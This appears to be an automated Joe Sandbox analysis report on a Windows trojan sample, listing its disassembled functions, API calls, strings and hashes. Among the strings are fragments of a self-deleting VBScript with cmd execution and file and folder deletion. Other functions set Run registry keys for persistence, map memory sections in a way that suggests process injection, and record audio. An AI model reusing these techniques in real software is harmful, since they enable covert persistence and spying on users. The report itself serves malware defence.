TerminateProcess.KERNEL32(?,00000000), ref: 16038472
GetLastError.KERNEL32 ref: 1603847A

Strings

ZwClose, xrefs: 16038163
ZwCreateSection, xrefs: 1603811C
`#v, xrefs: 1603830B
ntdll, xrefs: 16038121, 16038140, 16038154, 16038168
ZwMapViewOfSection, xrefs: 1603813B
ZwUnmapViewOfSection, xrefs: 1603814F

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Process$AddressHandleModuleProc$ThreadVirtual$ContextCurrentFreeMemoryTerminate$AllocCreateErrorLastReadResumeWrite
String ID: ZwClose$ZwCreateSection$ZwMapViewOfSection$ZwUnmapViewOfSection$`#v$ntdll
API String ID: 4188446516-108836778
Opcode ID: c1220a1ab1499f26225c6ed1d7e9cbf5b1145cb614816f6abd26f1039f9f37c8
Instruction ID: 80c9c5ad8af350fc4286ecb2701c66593d44a5f01740df089d471091a33b6300
Opcode Fuzzy Hash: c1220a1ab1499f26225c6ed1d7e9cbf5b1145cb614816f6abd26f1039f9f37c8
Instruction Fuzzy Hash: 38A169B0A14301AFEB14CF64CC85B6ABBEDFF48706F004969F689E6290D771E908CB55

Uniqueness

Uniqueness Score: -1.00%

Function 03F6D250 Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 03F6D259

Part of subcall function 03F6D224: GetProcAddress.KERNEL32(00000000), ref: 03F6D23D

Strings

oleaut32.dll, xrefs: 03F6D254
VariantChangeTypeEx, xrefs: 03F6D267
VarIdiv, xrefs: 03F6D301
VarCmp, xrefs: 03F6D36F
VarOr, xrefs: 03F6D343
VarMul, xrefs: 03F6D2D5
VarAnd, xrefs: 03F6D32D
VarMod, xrefs: 03F6D317
VarDateFromStr, xrefs: 03F6D3C7
VarR4FromStr, xrefs: 03F6D39B
VarI4FromStr, xrefs: 03F6D385
VarBstrFromBool, xrefs: 03F6D435
VarBoolFromStr, xrefs: 03F6D3F3
VarAdd, xrefs: 03F6D2A9
VarBstrFromDate, xrefs: 03F6D41F
VarCyFromStr, xrefs: 03F6D3DD
VarR8FromStr, xrefs: 03F6D3B1
VarXor, xrefs: 03F6D359
VarBstrFromCy, xrefs: 03F6D409
VarSub, xrefs: 03F6D2BF
VarDiv, xrefs: 03F6D2EB
VarNeg, xrefs: 03F6D27D
VarNot, xrefs: 03F6D293

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: daee6488715c4848ae11a0ef483da85e0600e3481bd4b6c8e3c6e6d46c775685
Instruction ID: 6642a3df968b9296577052a623f343d704fcc629640f89c5fa95cfd1ddc62a2f
Opcode Fuzzy Hash: daee6488715c4848ae11a0ef483da85e0600e3481bd4b6c8e3c6e6d46c775685
Instruction Fuzzy Hash: 8341686575430C5B9214FB6F7E1082ABBD9E7AA6503A4401AF098DF709DF30FC428F2A

Uniqueness

Uniqueness Score: -1.00%

Function 1602D420 Relevance: 38.8, APIs: 6, Strings: 16, Instructions: 282registryCOMMON

Download Yara Rule

APIs

Part of subcall function 16032850: TerminateProcess.KERNEL32(00000000,?,1602D80F), ref: 16032860
Part of subcall function 16032850: WaitForSingleObject.KERNEL32(000000FF,?,1602D80F), ref: 16032873

GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 1602D51D
RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 1602D530
SetFileAttributesW.KERNEL32(?,00000080,?,?,00000000), ref: 1602D549
SetFileAttributesW.KERNEL32(00000000,00000080,?,?,00000000), ref: 1602D579

Part of subcall function 1602B8AC: TerminateThread.KERNEL32(1602A27D,00000000,00000000,?,1602D442,?,00000000), ref: 1602B8BB
Part of subcall function 1602B8AC: UnhookWindowsHookEx.USER32(160950F0), ref: 1602B8C7
Part of subcall function 1602B8AC: TerminateThread.KERNEL32(1602A267,00000000,?,1602D442,?,00000000), ref: 1602B8D5

Part of subcall function 1603C3F1: CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,00000004,00000000,1603C510,00000000,00000000,00000000), ref: 1603C430

ShellExecuteW.SHELL32(00000000,open,00000000,16086468,16086468,00000000), ref: 1602D7C4
ExitProcess.KERNEL32 ref: 1602D7D0

Strings

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 1602D4C2
CreateObject("WScript.Shell").Run "cmd /c "", xrefs: 1602D701
Set fso = CreateObject("Scripting.FileSystemObject"), xrefs: 1602D5AA
fso.DeleteFile(Wscript.ScriptFullName), xrefs: 1602D773
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 1602D471
wend, xrefs: 1602D689
"), xrefs: 1602D5D5
\update.vbs, xrefs: 1602D57B
""", 0, xrefs: 1602D6E7
On Error Resume Next, xrefs: 1602D5B9
fso.DeleteFolder ", xrefs: 1602D6AB
Temp, xrefs: 1602D580
while fso.FileExists(", xrefs: 1602D5EC
open, xrefs: 1602D7BE
exepath, xrefs: 1602D4F7
fso.DeleteFile ", xrefs: 1602D63A

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$Terminate$AttributesProcessThread$CreateDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
String ID: """, 0$")$CreateObject("WScript.Shell").Run "cmd /c ""$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$\update.vbs$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$wend$while fso.FileExists("
API String ID: 1861856835-1536747724
Opcode ID: 67a1942bfe0ce087f0257a3f67faadc1d6b6f5631f3e7b46954039a5af5a0437
Instruction ID: 8033fb90d730c4758e33386056ee4546451eaada90c6377b3e4cd0c4022d5dc1
Opcode Fuzzy Hash: 67a1942bfe0ce087f0257a3f67faadc1d6b6f5631f3e7b46954039a5af5a0437
Instruction Fuzzy Hash: D991C6395042405BC358EB20DCA09AFBFEBAFA5202FC0446DF59A971D5EF20BD4DC692

Uniqueness

Uniqueness Score: -1.00%

Function 16032475 Relevance: 38.7, APIs: 17, Strings: 5, Instructions: 190synchronizationsleepfileCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000001,00000000,00000000,160950E4,00000003), ref: 16032494
ExitProcess.KERNEL32(00000000), ref: 160324A0
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 1603251A
OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 16032529
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 16032534
CloseHandle.KERNEL32(00000000), ref: 1603253B
GetCurrentProcessId.KERNEL32 ref: 16032541
PathFileExistsW.SHLWAPI(?), ref: 16032572
GetTempPathW.KERNEL32(00000104,?), ref: 160325D5
GetTempFileNameW.KERNEL32(?,temp_,00000000,?), ref: 160325EF
lstrcatW.KERNEL32(?,.exe), ref: 16032601

Part of subcall function 1603C3F1: CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,00000004,00000000,1603C510,00000000,00000000,00000000), ref: 1603C430

ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 16032641
Sleep.KERNEL32(000001F4), ref: 16032682
OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 16032697
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 160326A2
CloseHandle.KERNEL32(00000000), ref: 160326A9
GetCurrentProcessId.KERNEL32 ref: 160326AF

Strings

.exe, xrefs: 160325F5
open, xrefs: 1603263B
WDH, xrefs: 16032548, 160326B6
exepath, xrefs: 160324CC
temp_, xrefs: 160325E3

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Process$File$Create$CloseCurrentHandleObjectOpenPathSingleTempWait$ExecuteExistsExitMutexNameShellSleeplstrcat
String ID: .exe$WDH$exepath$open$temp_
API String ID: 2649220323-3088914985
Opcode ID: 5064a52f3a128651d5da30cc9603783efe9cf981d82d7e6ab322f348990845eb
Instruction ID: d8cbff6c35ca58f3d14977c6c4b57ff850e54094941dbccf401fba7575cc73d0
Opcode Fuzzy Hash: 5064a52f3a128651d5da30cc9603783efe9cf981d82d7e6ab322f348990845eb
Instruction Fuzzy Hash: CC51D175D002156FDB14E7A09C98EEE3BBFAF54212F404199F645A7180EF35AE8DCB60

Uniqueness

Uniqueness Score: -1.00%

Function 1603B047 Relevance: 38.7, APIs: 12, Strings: 10, Instructions: 180synchronizationCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(00000000,00000000,00000000,00000000), ref: 1603B13C
mciSendStringA.WINMM(play audio,00000000,00000000,00000000), ref: 1603B150
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A9,160860A4), ref: 1603B178
PathFileExistsW.SHLWAPI(00000000,00000000,00000000,16094EE0,00000000), ref: 1603B18E
mciSendStringA.WINMM(pause audio,00000000,00000000,00000000), ref: 1603B1CF
mciSendStringA.WINMM(resume audio,00000000,00000000,00000000), ref: 1603B1E7
mciSendStringA.WINMM(status audio mode,?,00000014,00000000), ref: 1603B1FC
SetEvent.KERNEL32 ref: 1603B219
WaitForSingleObject.KERNEL32(000001F4), ref: 1603B22A
CloseHandle.KERNEL32 ref: 1603B23A
mciSendStringA.WINMM(stop audio,00000000,00000000,00000000), ref: 1603B25C
mciSendStringA.WINMM(close audio,00000000,00000000,00000000), ref: 1603B266

Strings

alias audio, xrefs: 1603B0B8
play audio, xrefs: 1603B14B
resume audio, xrefs: 1603B1E2
close audio, xrefs: 1603B261
" type , xrefs: 1603B0D5
open ", xrefs: 1603B0D0
stopped, xrefs: 1603B202
stop audio, xrefs: 1603B257
status audio mode, xrefs: 1603B1F7
pause audio, xrefs: 1603B1CA

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: SendString$Event$CloseCreateExistsFileHandleObjectPathSingleWait
String ID: alias audio$" type $close audio$open "$pause audio$play audio$resume audio$status audio mode$stop audio$stopped
API String ID: 738084811-1354618412
Opcode ID: f744f325d862a9a64c83f43cd6a861a5c9c24b80ecfc258b7a16b60d597e26cf
Instruction ID: 457fa0480463b512e68e164d083d5c54ab532322d61b44d91767bfba7f708b22
Opcode Fuzzy Hash: f744f325d862a9a64c83f43cd6a861a5c9c24b80ecfc258b7a16b60d597e26cf
Instruction Fuzzy Hash: AB51D6756442146FD218EB70CCD4DAF7FAFEFA425AF80016DF64992491EF20AC0CC662

Uniqueness

Uniqueness Score: -1.00%

Function 1602D096 Relevance: 37.0, APIs: 6, Strings: 15, Instructions: 260registryCOMMON

Download Yara Rule

APIs

Part of subcall function 16032850: TerminateProcess.KERNEL32(00000000,?,1602D80F), ref: 16032860
Part of subcall function 16032850: WaitForSingleObject.KERNEL32(000000FF,?,1602D80F), ref: 16032873

GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,160952F0,?,pth_unenc), ref: 1602D1A5
RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 1602D1B8
SetFileAttributesW.KERNEL32(00000000,00000080,?,?,?,?,?,160952F0,?,pth_unenc), ref: 1602D1E8
SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,160952F0,?,pth_unenc), ref: 1602D1F7

Part of subcall function 1602B8AC: TerminateThread.KERNEL32(1602A27D,00000000,00000000,?,1602D442,?,00000000), ref: 1602B8BB
Part of subcall function 1602B8AC: UnhookWindowsHookEx.USER32(160950F0), ref: 1602B8C7
Part of subcall function 1602B8AC: TerminateThread.KERNEL32(1602A267,00000000,?,1602D442,?,00000000), ref: 1602B8D5

Part of subcall function 1603B978: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,1602407C), ref: 1603B99F

ShellExecuteW.SHELL32(00000000,open,00000000,16086468,16086468,00000000), ref: 1602D412
ExitProcess.KERNEL32 ref: 1602D419

Strings

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 1602D138
Set fso = CreateObject("Scripting.FileSystemObject"), xrefs: 1602D285
pth_unenc, xrefs: 1602D09C
fso.DeleteFile(Wscript.ScriptFullName), xrefs: 1602D3C1
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 1602D0E7
.vbs, xrefs: 1602D201
wend, xrefs: 1602D364
"), xrefs: 1602D2B1
On Error Resume Next, xrefs: 1602D294
fso.DeleteFolder ", xrefs: 1602D38A
Temp, xrefs: 1602D246
while fso.FileExists(", xrefs: 1602D2C8
open, xrefs: 1602D40C
exepath, xrefs: 1602D181
fso.DeleteFile ", xrefs: 1602D315

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FileProcessTerminate$AttributesThread$CurrentDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
String ID: ")$.vbs$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$pth_unenc$wend$while fso.FileExists("
API String ID: 3797177996-3018399277
Opcode ID: 2bf8c655a0c777f308ddbc62ccbd32b648b8d3ef9de4740c1d41efb03af9be97
Instruction ID: 9609a79034ac015a5b60cfd50dc5d45a330cfaa39fd67e117c1deae952fc71a3
Opcode Fuzzy Hash: 2bf8c655a0c777f308ddbc62ccbd32b648b8d3ef9de4740c1d41efb03af9be97
Instruction Fuzzy Hash: 0681C2396142405BC719EB20CC909AFBFEBAFA5202FD0486DF59697195EF20BD0DC692

Uniqueness

Uniqueness Score: -1.00%

Function 16021A6D Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 156fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 16021AD9
WriteFile.KERNEL32(00000000,RIFF,00000004,?,00000000), ref: 16021B03
WriteFile.KERNEL32(00000000,00000000,00000004,00000000,00000000), ref: 16021B13
WriteFile.KERNEL32(00000000,WAVE,00000004,00000000,00000000), ref: 16021B23
WriteFile.KERNEL32(00000000,fmt ,00000004,00000000,00000000), ref: 16021B33
WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 16021B43
WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 16021B54
WriteFile.KERNEL32(00000000,16092AAA,00000002,00000000,00000000), ref: 16021B65
WriteFile.KERNEL32(00000000,16092AAC,00000004,00000000,00000000), ref: 16021B75
WriteFile.KERNEL32(00000000,00000001,00000004,00000000,00000000), ref: 16021B85
WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 16021B96
WriteFile.KERNEL32(00000000,16092AB6,00000002,00000000,00000000), ref: 16021BA7
WriteFile.KERNEL32(00000000,data,00000004,00000000,00000000), ref: 16021BB7
WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 16021BC7

Strings

RIFF, xrefs: 16021AFD
fmt , xrefs: 16021B2D
WAVE, xrefs: 16021B1D
data, xrefs: 16021BB1

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: File$Write$Create
String ID: RIFF$WAVE$data$fmt
API String ID: 1602526932-4212202414
Opcode ID: acb198622b3c735291af2640b656a7d38169b06df27c0610dccaaaef54fbe5f6
Instruction ID: cc9fb0ae0ad9e030ac79d18953242f6c112fec11a176283d84c8694775c9bb13
Opcode Fuzzy Hash: acb198622b3c735291af2640b656a7d38169b06df27c0610dccaaaef54fbe5f6
Instruction Fuzzy Hash: 3C4169725542187FE210DA51CC85FBBBFEDEB89B50F40441AFA48EA080D765E909DBB3

Uniqueness

Uniqueness Score: -1.00%

Function 16027270 Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 62libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(ntdll.dll,RtlInitUnicodeString,00000000,C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe,00000001,1602764D,C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe,00000003,16027675,160952D8,160276CE), ref: 16027284
GetProcAddress.KERNEL32(00000000), ref: 1602728D
GetModuleHandleW.KERNEL32(ntdll.dll,NtAllocateVirtualMemory), ref: 160272A2
GetProcAddress.KERNEL32(00000000), ref: 160272A5
GetModuleHandleW.KERNEL32(ntdll.dll,NtFreeVirtualMemory), ref: 160272B6
GetProcAddress.KERNEL32(00000000), ref: 160272B9
GetModuleHandleW.KERNEL32(ntdll.dll,RtlAcquirePebLock), ref: 160272CA
GetProcAddress.KERNEL32(00000000), ref: 160272CD
GetModuleHandleW.KERNEL32(ntdll.dll,RtlReleasePebLock), ref: 160272DE
GetProcAddress.KERNEL32(00000000), ref: 160272E1
GetModuleHandleW.KERNEL32(ntdll.dll,LdrEnumerateLoadedModules), ref: 160272F2
GetProcAddress.KERNEL32(00000000), ref: 160272F5

Strings

ntdll.dll, xrefs: 16027278, 16027283, 160272A1, 160272B5, 160272C9, 160272DD, 160272F1
NtAllocateVirtualMemory, xrefs: 1602729C
NtFreeVirtualMemory, xrefs: 160272B0
RtlReleasePebLock, xrefs: 160272D8
C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe, xrefs: 16027271
RtlInitUnicodeString, xrefs: 1602727E
RtlAcquirePebLock, xrefs: 160272C4
LdrEnumerateLoadedModules, xrefs: 160272EC

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe$LdrEnumerateLoadedModules$NtAllocateVirtualMemory$NtFreeVirtualMemory$RtlAcquirePebLock$RtlInitUnicodeString$RtlReleasePebLock$ntdll.dll
API String ID: 1646373207-4007462054
Opcode ID: aea3a18b7a21f861efdb1e162c5d0103b2f6f09e766f6ad08b1b814b792f7f83
Instruction ID: 12ffbf2d43a39803d28c09a60dd1e08439bbd1b2cdc4cc1dd4fa55e02f84bc54
Opcode Fuzzy Hash: aea3a18b7a21f861efdb1e162c5d0103b2f6f09e766f6ad08b1b814b792f7f83
Instruction Fuzzy Hash: 960175E1D6133666DB09EB7A4C94C5B6EDDAF6015270A482BF608E2102EF78C808CE60

Uniqueness

Uniqueness Score: -1.00%

Function 1603C01B Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 1603C036
_memcmp.LIBVCRUNTIME ref: 1603C04E
lstrlenW.KERNEL32(?), ref: 1603C067
FindFirstVolumeW.KERNEL32(?,00000104,?), ref: 1603C0A2
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 1603C0B5
QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 1603C0F9
lstrcmpW.KERNEL32(?,?), ref: 1603C114
FindNextVolumeW.KERNEL32(?,0000003F,00000104), ref: 1603C12C
_wcslen.LIBCMT ref: 1603C13B
FindVolumeClose.KERNEL32(?), ref: 1603C15B
GetLastError.KERNEL32 ref: 1603C173
GetVolumePathNamesForVolumeNameW.KERNEL32(?,?,?,?), ref: 1603C1A0
lstrcatW.KERNEL32(?,?), ref: 1603C1B9
lstrcpyW.KERNEL32(?,?), ref: 1603C1C8
GetLastError.KERNEL32 ref: 1603C1D0

Strings

?, xrefs: 1603C0CD

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Volume$ErrorFindLast$lstrlen$CloseDeviceFirstNameNamesNextPathQuery_memcmp_wcslenlstrcatlstrcmplstrcpy
String ID: ?
API String ID: 3941738427-1684325040
Opcode ID: bfc54ed7bad3a61dbf162fea5023b1d7c102257af1bf03b7f3cd8b5427598a8e
Instruction ID: 992e3b937b65da9cac8bcc7c3e01f69c0b0346704d2f3af6377d4fa30288c459
Opcode Fuzzy Hash: bfc54ed7bad3a61dbf162fea5023b1d7c102257af1bf03b7f3cd8b5427598a8e
Instruction Fuzzy Hash: CF41A272904356AFD710DF61D88899BBBEDFB96352F000A2AF681D2160EB70D55CC7D2

Uniqueness

Uniqueness Score: -1.00%

Function 1606F42D Relevance: 25.9, APIs: 17, Instructions: 419COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 1606F4BF
_free.LIBCMT ref: 1606F4E5
_free.LIBCMT ref: 1606F50E
_free.LIBCMT ref: 1606F546
_free.LIBCMT ref: 1606F577
_free.LIBCMT ref: 1606F5B8
SetEnvironmentVariableA.KERNEL32(00000000,00000000), ref: 1606F639
_free.LIBCMT ref: 1606F652
_wcschr.LIBVCRUNTIME ref: 1606F68F
_free.LIBCMT ref: 1606F6FB
_free.LIBCMT ref: 1606F721
_free.LIBCMT ref: 1606F74A
_free.LIBCMT ref: 1606F77F
_free.LIBCMT ref: 1606F7B0
_free.LIBCMT ref: 1606F7F1
SetEnvironmentVariableW.KERNEL32(00000000,?,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1606F876
_free.LIBCMT ref: 1606F88F

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: _free$EnvironmentVariable$_wcschr
String ID:
API String ID: 3899193279-0
Opcode ID: f04f4ef217ee1b096ed1a11fc4c018e0273de5f047f455dfc8c5b2f0989b3b00
Instruction ID: 5c824f28d27a0fd7faf77f88c4c50f5fdb4a367dd792f40bbd82fc0a9e0a0ff1
Opcode Fuzzy Hash: f04f4ef217ee1b096ed1a11fc4c018e0273de5f047f455dfc8c5b2f0989b3b00
Instruction Fuzzy Hash: E0D10575D012116FDB18DF7E8C8065A7FE7BF01310F81816EEA55A7280EB71A908CB91

Uniqueness

Uniqueness Score: -1.00%

Function 16034D86 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109libraryloaderCOMMON

Download Yara Rule

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 16034DD5
LoadLibraryA.KERNEL32(?), ref: 16034E17
GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 16034E37
FreeLibrary.KERNEL32(00000000), ref: 16034E3E
LoadLibraryA.KERNEL32(?), ref: 16034E76
GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 16034E88
FreeLibrary.KERNEL32(00000000), ref: 16034E8F
GetProcAddress.KERNEL32(00000000,?), ref: 16034E9E
FreeLibrary.KERNEL32(00000000), ref: 16034EB5

Strings

\ws2_32, xrefs: 16034DFF
getaddrinfo, xrefs: 16034D93, 16034E31, 16034E82
\wship6, xrefs: 16034E5E
freeaddrinfo, xrefs: 16034DB2
getnameinfo, xrefs: 16034DA2

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeProc$Load$DirectorySystem
String ID: \ws2_32$\wship6$freeaddrinfo$getaddrinfo$getnameinfo
API String ID: 2490988753-744132762
Opcode ID: 2a36231b3c9fd8afdadc004142180d7177c933513d5fd1d5a9814b6c95678f02
Instruction ID: 3a9e192031e68ba158b1edfd8a8b5ae318ae1d3fd37db1feb512c53e59d23ba3
Opcode Fuzzy Hash: 2a36231b3c9fd8afdadc004142180d7177c933513d5fd1d5a9814b6c95678f02
Instruction Fuzzy Hash: DA31B1B6D023256FC310DB65CC84D9F7FEDAB44342F420A68F984AB204E735D949CAE2

Uniqueness

Uniqueness Score: -1.00%

Function 03F76E94 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ole32.dll), ref: 03F76E9A
GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 03F76EAB
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 03F76EBB
GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 03F76ECB
GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 03F76EDB
GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 03F76EEB
GetProcAddress.KERNEL32 ref: 03F76EFB

Strings

CoResumeClassObjects, xrefs: 03F76EE5
CoAddRefServerProcess, xrefs: 03F76EC5
CoInitializeEx, xrefs: 03F76EB5
CoSuspendClassObjects, xrefs: 03F76EF5
CoReleaseServerProcess, xrefs: 03F76ED5
CoCreateInstanceEx, xrefs: 03F76EA5
ole32.dll, xrefs: 03F76E95

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
